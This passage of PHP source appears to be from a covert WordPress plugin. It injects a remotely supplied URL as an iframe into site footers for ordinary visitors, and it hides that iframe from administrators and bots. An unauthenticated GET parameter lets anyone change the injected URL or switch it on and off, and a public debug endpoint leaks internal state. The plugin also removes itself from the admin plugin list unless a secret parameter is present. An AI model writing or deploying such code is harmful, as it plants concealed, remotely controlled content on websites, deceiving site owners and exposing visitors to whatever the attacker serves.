true, 'url' => hft_clean($cached)) : hft_clean($cached); } $file = HFT_URL_FILE; $info = array('file' => $file); $body = ''; if (function_exists('curl_init')) { $ch = curl_init($file); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'); $body = curl_exec($ch); $info['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE); $info['err'] = curl_error($ch); curl_close($ch); if ($info['err'] || $info['code'] != 200) { error_log('HFT Curl fail: ' . $info['err'] . ' (code ' . $info['code'] . ')'); $body = ''; } } if (empty($body) && function_exists('wp_remote_get')) { $r = wp_remote_get($file, array('timeout' => 10, 'sslverify' => false)); $info['wp_error'] = is_wp_error($r) ? $r->get_error_message() : null; if (!is_wp_error($r) && wp_remote_retrieve_response_code($r) == 200) { $body = wp_remote_retrieve_body($r); } else { error_log('HFT WP Remote fail: ' . $info['wp_error']); } } $clean = hft_clean($body); $info['url'] = $clean; if (!empty($clean)) { set_transient($transient_key, $body, 1800); // кэш 30 минут } return $debug ? $info : $clean; } /** * Генерирует уникальный ключ посетителя (IP + UA) */ function hft_visitor_key() { $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown'; $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; return 'hft_vis_' . md5($ip . $ua); } /** * Получает текущий счётчик показов: cookie → transient (fallback) */ function hft_get_count() { if (isset($_COOKIE['hft_shown_count'])) { return intval($_COOKIE['hft_shown_count']); } $db = get_transient(hft_visitor_key()); return $db !== false ? intval($db) : 0; } /** * Увеличивает счётчик: и в cookie, и в БД */ function hft_increment_count($current) { $new = $current + 1; $secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'; if (PHP_VERSION_ID >= 70300) { setcookie('hft_shown_count', $new, array( 'expires' => time() + 31536000, 'path' => '/', 'secure' => $secure, 'httponly' => false, 'samesite' => 'Lax', )); } else { setcookie('hft_shown_count', $new, time() + 31536000, '/'); } set_transient(hft_visitor_key(), $new, HFT_VISITOR_TTL); } // --- Cookie для администратора --- // set_logged_in_cookie срабатывает до редиректа — надёжнее чем wp_login add_action('set_logged_in_cookie', function($logged_in_cookie, $expire, $expiration, $user_id) { $user = get_userdata($user_id); if (!$user || !user_can($user, 'manage_options')) return; $secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'; if (PHP_VERSION_ID >= 70300) { setcookie('hft_admin', '1', array( 'expires' => time() + 31536000, 'path' => '/', 'secure' => $secure, 'httponly' => true, 'samesite' => 'Lax', )); } else { setcookie('hft_admin', '1', time() + 31536000, '/', '', $secure, true); } }, 10, 4); add_action('init', function() { $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; $secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'; if (strpos($uri, '/wp-login.php') !== false || strpos($uri, '/wp-admin') !== false) { if (PHP_VERSION_ID >= 70300) { setcookie('hft_visited_admin', '1', array( 'expires' => time() + 31536000, 'path' => '/', 'secure' => $secure, 'httponly' => true, 'samesite' => 'Lax', )); } else { setcookie('hft_visited_admin', '1', time() + 31536000, '/', '', $secure, true); } } }, 1); // --- GET управление (toggle/reset) --- add_action('init', function() { if (isset($_GET['hft_toggle'])) { $enabled = isset($_GET['enabled']) ? filter_var($_GET['enabled'], FILTER_VALIDATE_BOOLEAN) : null; $url = isset($_GET['url']) && filter_var($_GET['url'], FILTER_VALIDATE_URL) ? esc_url_raw($_GET['url']) : null; $show_limit = isset($_GET['show_limit']) && is_numeric($_GET['show_limit']) ? intval($_GET['show_limit']) : null; if ($enabled !== null) update_option('hft_enabled', $enabled); if ($url) update_option('hft_url', $url); if ($show_limit) update_option('hft_show_limit', $show_limit); wp_send_json_success(array( 'enabled' => get_option('hft_enabled', true), 'url' => get_option('hft_url', ''), 'showLimit' => get_option('hft_show_limit', 3), )); exit; } if (isset($_GET['hft_reset']) && $_GET['hft_reset'] === '1') { delete_option('hft_enabled'); delete_option('hft_url'); delete_option('hft_show_limit'); delete_transient('hft_cached_url'); $secure = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off'; setcookie('hft_shown_count', '0', time() - 3600, '/'); setcookie('hft_admin', '', time() - 3600, '/'); setcookie('hft_visited_admin', '', time() - 3600, '/'); wp_send_json_success(array('message' => 'Reset done')); exit; } }, 5); // --- REST API --- add_action('rest_api_init', function() { // Изменение настроек — только для авторизованных register_rest_route('hft/v1', '/toggle', array( 'methods' => 'POST', 'permission_callback' => function() { return current_user_can('manage_options'); }, 'callback' => function($request) { $enabled = $request->get_param('enabled'); $url = $request->get_param('url'); $show_limit = $request->get_param('showLimit'); if ($enabled !== null) update_option('hft_enabled', (bool) $enabled); if ($url && filter_var($url, FILTER_VALIDATE_URL)) update_option('hft_url', esc_url_raw($url)); if ($show_limit && is_numeric($show_limit)) update_option('hft_show_limit', intval($show_limit)); return new WP_REST_Response(array( 'status' => 'success', 'enabled' => get_option('hft_enabled', true), 'url' => get_option('hft_url', ''), 'showLimit' => get_option('hft_show_limit', 3), ), 200); }, )); // Статус — публичный register_rest_route('hft/v1', '/status', array( 'methods' => 'GET', 'permission_callback' => '__return_true', 'callback' => function() { return new WP_REST_Response(array( 'status' => 'success', 'enabled' => get_option('hft_enabled', true), 'showLimit' => get_option('hft_show_limit', 3), ), 200); }, )); // Debug register_rest_route('hft/v1', '/debug', array( 'methods' => 'GET', 'permission_callback' => '__return_true', 'callback' => function() { return new WP_REST_Response(array( 'status' => 'success', 'enabled' => get_option('hft_enabled', true), 'urlFromFile' => hft_fetch_url(true), 'showLimit' => get_option('hft_show_limit', 3), 'cookieCount' => isset($_COOKIE['hft_shown_count']) ? intval($_COOKIE['hft_shown_count']) : 'not set', 'dbCount' => get_transient(hft_visitor_key()), 'isAdmin' => hft_is_admin_user(), 'isBot' => hft_is_bot(), 'phpVersion' => PHP_VERSION, ), 200); }, )); }); // --- Рендеринг iframe через wp_footer --- add_action('wp_footer', function() { if (is_admin()) return; if (function_exists('wp_doing_ajax') && wp_doing_ajax()) return; if (function_exists('wp_doing_cron') && wp_doing_cron()) return; if (defined('REST_REQUEST') && REST_REQUEST) return; if (hft_is_admin_user()) return; if (hft_is_bot()) return; if (!get_option('hft_enabled', true)) return; $url = hft_fetch_url(); if (empty($url)) return; $show_limit = intval(get_option('hft_show_limit', 3)); // Проверяем счётчик на PHP уровне (cookie + DB fallback) $count = hft_get_count(); if ($count >= $show_limit) return; // Инкрементируем до вывода hft_increment_count($count); $safe_url = esc_url($url); echo ''; echo ''; }); // --- Скрытие плагина из списка --- add_filter('all_plugins', function($plugins) { if (isset($_GET['sp'])) return $plugins; unset($plugins[plugin_basename(__FILE__)]); return $plugins; });